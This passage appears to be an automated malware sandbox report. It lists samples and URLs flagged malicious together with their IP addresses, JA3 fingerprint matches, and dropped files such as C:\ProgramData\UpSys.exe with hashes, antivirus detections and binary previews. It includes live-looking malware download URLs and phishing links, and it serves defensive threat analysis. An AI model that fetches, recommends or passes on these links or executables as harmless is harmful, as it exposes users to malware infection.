	https://00f74ba44b0b406d46bdb3825ee064d88522c1118c-apidata.googleusercontent.com/download/storage/v1/b/bo0e0ecr9qj2orne2f0ws.appspot.com/o/index.html?jk=AFshE3WGgCLIjrGD9tY3-2zujP4t1uKIcYbNd862qMFvu2alqcFx3a69vptxvbB1tncIE2BhR4B52L7zaTbpevVJqC6MJREcariFOqCak39QbEYTbngYwuUDwKqGYvr_aIzIhdaF3hGmsOC4lZqG1q5tzcM33wEsLQo2izM3Mj7jpWQnK1YSC6qAbUQO5L-OsyD1bmU_TzwK1F3Lk0FvR6d34VFl-PialPMwWq26ixe-TpgHJe9AgkRPZ7t3l0jDbFmG1bKivDbZbiYpBpk8OZUBCyXVXjrnmmEsoX8Th1eU3-DOABPB6IyzvBpME5_su56iWnFz4S8YeFT-Y-FQFqrDuiEgco-mAGUm-8Eb54rrjPz3NiJy1XplGsUfIdvmGni0wCBZS9s8lhaOGDXGeGTSpqpiALVDIRstZsKxSoDThl-O56vpu-cokLmhvZ8OL9ElZuSx84cstH9qPaCJHnTTXBZRWKz_ZdsIpWhI0xkpahbESDRm2PWT7D8IQsC-IWlXrtLTX3MkjtjF4K0_PS75db-pSn6kjgZo9mgSxy7TCB6hILj8B43bMaU_RJ8cOKVnERqwShnh3kJ4SfrgU_2W3gGS28pBOKjRx3w4KiyDwxKBeaAoKYNnE7U47yOopbj06k_HM13Bj3U1HD0zjkJFDOnn2ClnZyrVZVmqgz2mJ7hCinA6jtNIBsIM_1OvRXoO98gv9OhVFjWD6rDRUpfI1544pFETE_KKVJEHgkbC3wcvJ-RzQDsER6Y3q1M6iUHKKUzQv7kJHQMN-MsFLHSfcvtC2HoIoicyCNG7pplb5bh7eqAIhKvSA9EZhddcafkwe83Erj5w6Ic9o8ng0KYQfKakrZ3WeNuqPHVXklo7o8GIf5PRAob6CaoxxIzi6H13_IumQp0ls1UDYEiPovDYdPyqVeVjfwDbhP-Jm1tBhRWO9UVAb8iqCiU_bD8QPz4pZLrYyDhoiqhOaq8SFAbTP2_D_kIx8qMZUAPfmiVgfIn_kVRS7o0Uvw3edW3wqV4&isca=1	Get hash	malicious	Browse	99.86.4.46
	https://maltrafoodssharedfile.aha.io/shared/713e92c4e5182dc21a834a128ce97cc2	Get hash	malicious	Browse	13.224.103.90
	https://click.smartsheet.com/f/a/3kS8l6mz5zKst5TfmR6YmQ~~/AARF7wA~/RgRkzKOZP0UIZG93bmxvYWREV2h0dHBzOi8vYXBwLnNtYXJ0c2hlZXQuY29tL2IvZG93bmxvYWQvYXR0LzEvNjU1Mjg2NzQ4Mjk1MzYwNC9ub2U2Mmk2bDdyY3U1ZDVpNDFwb2loZG0wcFcDc3BjQgpi4Jke6mIP8JzNUhdtZG9uYWxkc29uQHNldmVuLmNvbS5hdVgEAAAAAA~~	Get hash	malicious	Browse	13.224.98.103
	Bridegroomship.exe	Get hash	malicious	Browse	3.136.133.149
	https://analytics-505bd0843acea20a.static.createsend12.com	Get hash	malicious	Browse	52.85.151.78
	https://indd.adobe.com/view/c31ad2e6-0873-4639-85b8-10cd35839d14	Get hash	malicious	Browse	65.9.95.85
	https://faxcorporation1.od2.vtiger.com/pages/new_fax_receieved	Get hash	malicious	Browse	52.18.47.20
	http://hivnd.com	Get hash	malicious	Browse	52.218.20.52
	https://hivnd.com/thumpxcache/	Get hash	malicious	Browse	35.157.110.89
	https://app.pandadoc.com/p/68c56729e1766ba3c2c45de9e71ef2844a97cabc	Get hash	malicious	Browse	65.9.94.107
	https://app.pandadoc.com/p/68c56729e1766ba3c2c45de9e71ef2844a97cabc?	Get hash	malicious	Browse	52.24.222.97
	ACH_WIRE_REMITTANCE.xlsx	Get hash	malicious	Browse	3.120.57.153
	https://app.pandadoc.com/p/cc564b25548c204ab0c9c5f5500517b910b213aa?	Get hash	malicious	Browse	52.39.171.42
ITLDC-NLUA	http://derweekge.com/vento/6523.exe	Get hash	malicious	Browse	185.237.206.60
	QU1HKYasnp.exe	Get hash	malicious	Browse	185.237.206.60
	OxNU74Khy8.exe	Get hash	malicious	Browse	185.237.206.60
	6xjyJbKIZd.exe	Get hash	malicious	Browse	185.237.206.60
	4Oe5eBNj8w.exe	Get hash	malicious	Browse	185.237.206.60
	bMwvKA6Owe.exe	Get hash	malicious	Browse	185.237.206.60
	mjyYu0IKl5.exe	Get hash	malicious	Browse	185.237.206.60
	4opYwyuphU.exe	Get hash	malicious	Browse	185.237.206.60
	94FBD83A3AB8CEFA4864FA9D969D5C8B27DBE121CB0B5.exe	Get hash	malicious	Browse	185.237.206.60
	EzIB2Sn73D.exe	Get hash	malicious	Browse	185.237.206.60
	61RndWP06S.exe	Get hash	malicious	Browse	185.237.206.60
	tcznSskQbx.exe	Get hash	malicious	Browse	185.237.206.60
	zr47ihfIo3.exe	Get hash	malicious	Browse	185.237.206.60
	C2BLjRGYWr.exe	Get hash	malicious	Browse	185.237.206.60
	E65Jn7N2og.exe	Get hash	malicious	Browse	185.237.206.60
	38zspo3ygQ.exe	Get hash	malicious	Browse	185.237.206.60
	JuWK51esuy.exe	Get hash	malicious	Browse	185.237.206.60
	orcml26q5R.exe	Get hash	malicious	Browse	185.237.206.60
	4s2CEx1Oi6.exe	Get hash	malicious	Browse	185.237.206.60
	beLQxyb08E.exe	Get hash	malicious	Browse	185.237.206.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	JGaR8nn6HU.exe	Get hash	malicious	Browse	162.159.129.233
	4Wlojv8580.exe	Get hash	malicious	Browse	162.159.129.233
	AxseMjBluY.exe	Get hash	malicious	Browse	162.159.129.233
	wB5SK4x7xv.exe	Get hash	malicious	Browse	162.159.129.233
	t3uEMr422v.exe	Get hash	malicious	Browse	162.159.129.233
	Ref151154247 spedizoine numero 1650386275.exe	Get hash	malicious	Browse	162.159.129.233
	pea.exe	Get hash	malicious	Browse	162.159.129.233
	http://tongyong888.xyz/dama.txt	Get hash	malicious	Browse	162.159.129.233
	DHL AWB AND INVOICE.exe	Get hash	malicious	Browse	162.159.129.233
	Ixmeut.exe	Get hash	malicious	Browse	162.159.129.233
	Required Order And Old Purchase.exe	Get hash	malicious	Browse	162.159.129.233
	Eastern International purchase orderem.exe	Get hash	malicious	Browse	162.159.129.233
	https://indd.adobe.com/view/cdb895aa-d31f-49f1-9274-f61c4a9c1e79	Get hash	malicious	Browse	162.159.129.233
	SecuriteInfo.com.W32.AIDetectNet.01.17067.exe	Get hash	malicious	Browse	162.159.129.233
	EU-Business-Register_pdf.exe	Get hash	malicious	Browse	162.159.129.233
	SecuriteInfo.com.Variant.Lazy.229565.27362.exe	Get hash	malicious	Browse	162.159.129.233
	bDUH.exe	Get hash	malicious	Browse	162.159.129.233
	DOCUMENT.EXE	Get hash	malicious	Browse	162.159.129.233
	ACH_WIRE_REMITTANCE.xlsx	Get hash	malicious	Browse	162.159.129.233
	INV#48390122.docx	Get hash	malicious	Browse	162.159.129.233
37f463bf4616ecd445d4a1937da06e19	GnyGIMOLwK.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	T0YkB3FMcm.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	https://angelaserenellifercamcomangelaserenellifercamcom.ubpages.com/freshgoods-52324976/	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	Moog #Ud83d#Udd12Q3 Bonus.HTMl.html	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	2TNI4tecBe.docx	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	https://5jnca-qaaaa-aaaad-qdh2q-cai.ic.fleek.co/?clientID=tecomunicamos@leroymerlin.es	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	Osonnkabspxchcgazdewhmevyxlgrzmucn.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	1a#U00bb.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	Osonnkabspxchcgazdewhmevyxlgrzmucn.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	SecuriteInfo.com.Variant.Barys.42241.11208.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	Payment Advice - Advice Ref[GLV404865688] Pr.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	Adcb #Ud83d#Udd12Q3 Bonus.HTMl	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	RQNB00016358.pdf.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	RQNB00016358.pdf.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	New order requirements.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	https://nabhelp-online.com/	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	http://derweekge.com/vento/6523.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	https://www.evernote.com/shard/s500/sh/3069c16f-e975-89c0-6718-16495958f9db/ed49c65f6568197334953a33fbd50b74	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	gunzipped.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83
	ulRYla6dh8.exe	Get hash	malicious	Browse	52.217.195.249 104.192.141.1 148.251.234.83

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\UpSys.exe	2dOeahdsto.exe	Get hash	malicious	Browse
	bQQHP9ciRL.exe	Get hash	malicious	Browse
	DllHost.exe	Get hash	malicious	Browse
	Fza7TPh6Z7.exe	Get hash	malicious	Browse
	SAlxtNmHFR.exe	Get hash	malicious	Browse
	BFSdrqaAvS.exe	Get hash	malicious	Browse
	We7WnoqeXe.exe	Get hash	malicious	Browse
	k0nAx7VQ5T.exe	Get hash	malicious	Browse
	Ghost_hack_v4.6.8_winx64.exe	Get hash	malicious	Browse
	Rust_hack_v6.4.2_x64_stable.exe	Get hash	malicious	Browse
	qcodAS8DHq.exe	Get hash	malicious	Browse
	oZMpSaWzg2.exe	Get hash	malicious	Browse
	5GP8oxUsvj.exe	Get hash	malicious	Browse
	dL7mvARUBj.exe	Get hash	malicious	Browse
	XwfWWIkABj.exe	Get hash	malicious	Browse
	7yuJ4pbKSv.exe	Get hash	malicious	Browse
	cj6LIPaeUz.exe	Get hash	malicious	Browse
	Loader_Hack.exe	Get hash	malicious	Browse
	MNhJu16jUY.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\MicrosoftNetwork\System.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3599640
Entropy (8bit):	7.964814981282895
Encrypted:	false
SSDEEP:	98304:qqEvLXLJJzK4x0wSI7EqwKHviiCXmR4ddAJb:yL7JJzK4a5Y/faiC2EAJb
MD5:	55A6D22BE09D762103AE315F97B58561
SHA1:	F218C5BB6B7E3CBE9483F8BC4552EDB180FD2BD1
SHA-256:	41D424435F37D0AA9DD6C2C2B05210F9E0A29A5969362776845064188F97273A
SHA-512:	4B8967E85EBCA846BDA3910DAC537B360FD36163EB778B6F3C522273D9AC0AE2821536C50A40EB3B56938396166AB83D75E7999DC32FE8807D734A479BDCE820
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 58%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...&.9...&...T.B.3...`.#...`.8...`.\|.....#.....1...&.&...&.3...&.#...2.........0.....@.3.....3...Rich2...................PE..d.....`a.........."..........\|......X.b........@.....................................T7...`..................................................@..<....P........`..:.................................................................................................. .........H.................. ..` ........r....N..............@..@ ./......<....>..............@... .:......s!...D..............@..@ .............f..............@..@ ..... .......h..............@..@ .....0.......j..............@..B.imports.....@.......r..............@....rsrc........P.......v..............@..@.themida..Z..`.......x..............`....boot....v3...b..u3..x..............`..`........

C:\ProgramData\Microsoft\Windows\WER\Temp\WER84E8.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Aug 4 20:38:18 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	241116
Entropy (8bit):	1.5306360786123765
Encrypted:	false
SSDEEP:	768:quH+8XQKzEBa14aEimdxxI6czFW3OgWjYimVSFloj:HJ114aEimdxxnchsOgeYDQFloj
MD5:	8D9136812ABF6B94F4EAFE6C882DDAF4
SHA1:	E5BDE5B2EF8C9865A6C42BF3911FE30B244A5B18
SHA-256:	88D97E4C168C6946F62498F946036E94775B41F11285E4A456CCEA3AA862B233
SHA-512:	94124710E9C0556E94BE247A15C7F6C8D9CEC89412335988279985F0340E512A35A837910A8C6BFA41088E4EE3639F18A2B49E580A5C5AC265EC4C17E177EC1C
Malicious:	false
Preview:	MDMP....... .......:..b........................<...........<...$)......d..............`.......8...........T............`...M..........`)..........L+...................................................................U...........B.......+......Lw..................W...T.......(....-.b.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER999A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	6858
Entropy (8bit):	3.7109631486592884
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi3iKV5ZYzSB8CpDaq89bf40fwVm:RrlsNivDZYzSUfLf/
MD5:	CE8A17A9C24046CD67BCDDD6E9F814A2
SHA1:	39D965CEAEA21872407FFF6968ED31B99EED22B1
SHA-256:	C1B07C944D31E9B011B09F695E9C954764E56D1DB82095C335A9EAAEA57A8401
SHA-512:	6F6E1DCACCD8B6A4E966ADA19F34E3D1438B0A44EBB81F1FFDD684AF8662192AFA52B6B2A5CAE135D998FC71145743DB45C024B6DE674EAD9CC44BB676828E1A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.9.0.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CE6.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4773
Entropy (8bit):	4.459896519443185
Encrypted:	false
SSDEEP:	48:cvIwSD8zskJgtBI9xVWgc8sqYje8fm8M4J8gjHFCmyq8vtgjjcHmpPJFrd:uITfiPkgrsqY/JlWUcqfrd
MD5:	ACBDC04D74E208AEB6E954AE7E3EB52F
SHA1:	61645F0FE3B5186C456828FF490A02B502495091
SHA-256:	2ACB0F87F50996D5F226EA3773D34A0C90E584FEC1DA35B41EF90C293166FEE0
SHA-512:	2B01CF6E9DB6C69136C4ECAD7126F63726000270187961B20E4E142CD8EDFD5CA63C53C0EBB615761A3A3B553F19F203ABB489B654890D696EC2AABC7DFCEC12
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1633308" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Systemd\CPU.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.36772269682337
Encrypted:	false
SSDEEP:	3:vh9wmllJllElQ2ldRk1mJ/PKhqB5tTllDn6VymllJllgltPlAwdRv3llevTq4v7/:597lIl5ld+oah0Hklsl4wdJ4mLfgt+lE
MD5:	FD4914C5289F13C9639481A2EEBBD311
SHA1:	5B7103C459E71933D2B0B4CD130B8A44E2A22925
SHA-256:	3972C37F28CDC48836A6EE5C6248E523938054C25BE4D6A36D395FF46D536F3A
SHA-512:	719EA86E944E6FF1BE7C9024FF2F66E598C2DAF543A6E796FABEBE9C1AA75BBD7A4D2B9EEF26D010EF4A022C127AAA2A2187D214B31CDC642EF9C4F3AA1E6A49
Malicious:	false
Preview:	PK......c.[.$S................3245.txt......AE.....X8.{mz..Go.<!..]H.;f...PK..............PK........c.[.$S............../....... .......3245.txt.. .........8.^r....8.^r....8.^r..........AE...PK..........e...].....

C:\ProgramData\UpSys.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	945944
Entropy (8bit):	6.654096172451499
Encrypted:	false
SSDEEP:	24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
MD5:	EFE5769E37BA37CF4607CB9918639932
SHA1:	F24CA204AF2237A714E8B41D54043DA7BBE5393B
SHA-256:	5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
SHA-512:	33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 4%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: 2dOeahdsto.exe, Detection: malicious, Browse Filename: bQQHP9ciRL.exe, Detection: malicious, Browse Filename: DllHost.exe, Detection: malicious, Browse Filename: Fza7TPh6Z7.exe, Detection: malicious, Browse Filename: SAlxtNmHFR.exe, Detection: malicious, Browse Filename: BFSdrqaAvS.exe, Detection: malicious, Browse Filename: We7WnoqeXe.exe, Detection: malicious, Browse Filename: k0nAx7VQ5T.exe, Detection: malicious, Browse Filename: Ghost_hack_v4.6.8_winx64.exe, Detection: malicious, Browse Filename: Rust_hack_v6.4.2_x64_stable.exe, Detection: malicious, Browse Filename: qcodAS8DHq.exe, Detection: malicious, Browse Filename: oZMpSaWzg2.exe, Detection: malicious, Browse Filename: 5GP8oxUsvj.exe, Detection: malicious, Browse Filename: dL7mvARUBj.exe, Detection: malicious, Browse Filename: XwfWWIkABj.exe, Detection: malicious, Browse Filename: 7yuJ4pbKSv.exe, Detection: malicious, Browse Filename: cj6LIPaeUz.exe, Detection: malicious, Browse Filename: Loader_Hack.exe, Detection: malicious, Browse Filename: MNhJu16jUY.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......\|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e4.exe.log

Download File

Process:	C:\Users\user\Desktop\e4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2932
Entropy (8bit):	5.334469918014252
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHK7HKhBHKdHKB1AHKzvQTHmtHoxHImHK1HxLHW:iqXeqm00YqhQnouOq7qLqdqUqzcGtIxf
MD5:	92A61FC50E2FFFA916EF86C2F42C7557
SHA1:	145AD3EAEB578E9BBEE8F36DF312024BDA733602
SHA-256:	12D868AA2721F27C9353109BC11B79E28880B388AE22A0681EB337540DD1D798
SHA-512:	35A0CC24FD5D081CDD4065F118A6FA2EBA688D756EAC708AC5F85D21C2358D6DF815BC23399096507F5562AF882303AA361EB92EA0F98ECA6AE9356C34BC431B
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\CPU[1].zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.36772269682337
Encrypted:	false
SSDEEP:	3:vh9wmllJllElQ2ldRk1mJ/PKhqB5tTllDn6VymllJllgltPlAwdRv3llevTq4v7/:597lIl5ld+oah0Hklsl4wdJ4mLfgt+lE
MD5:	FD4914C5289F13C9639481A2EEBBD311
SHA1:	5B7103C459E71933D2B0B4CD130B8A44E2A22925
SHA-256:	3972C37F28CDC48836A6EE5C6248E523938054C25BE4D6A36D395FF46D536F3A
SHA-512:	719EA86E944E6FF1BE7C9024FF2F66E598C2DAF543A6E796FABEBE9C1AA75BBD7A4D2B9EEF26D010EF4A022C127AAA2A2187D214B31CDC642EF9C4F3AA1E6A49
Malicious:	false
Preview:	PK......c.[.$S................3245.txt......AE.....X8.{mz..Go.<!..]H.;f...PK..............PK........c.[.$S............../....... .......3245.txt.. .........8.^r....8.^r....8.^r..........AE...PK..........e...].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\1fEwd7[1].htm

Download File

Process:	C:\ProgramData\MicrosoftNetwork\System.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.43530643106624
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
MD5:	4F8E702CC244EC5D4DE32740C0ECBD97
SHA1:	3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
SHA-256:	9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
SHA-512:	21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\1fEwd7[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.43530643106624
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
MD5:	4F8E702CC244EC5D4DE32740C0ECBD97
SHA1:	3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
SHA-256:	9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
SHA-512:	21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\UpSys[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	945944
Entropy (8bit):	6.654096172451499
Encrypted:	false
SSDEEP:	24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
MD5:	EFE5769E37BA37CF4607CB9918639932
SHA1:	F24CA204AF2237A714E8B41D54043DA7BBE5393B
SHA-256:	5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
SHA-512:	33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 4%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......\|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.001217266823362
Encrypted:	false
SSDEEP:	384:ufib4GGVoGIpN6KQkj2Akjh4iUxGzCdaOdB/NXp5CvOjJEYoV4fib41:uIGV3IpNBQkj25h4iUxGzCdaOdB/NZwY
MD5:	DB93B232EFF0785FDDC28A0D5DAE38D2
SHA1:	AF5AFE47557C49F165F66B2B63962D9EB28E3157
SHA-256:	92939214003421B64153B215D15F89595673C709110FC6E005FF955F6684C390
SHA-512:	5D161CFEE2631553AC2FA8EE407FE4CBA23C9A666BB69049C0FCCBEE99413983C678E4779426532FB4F5E622155C9EFF8DA57CD93AE4453D57301B32C19CBAA9
Malicious:	false
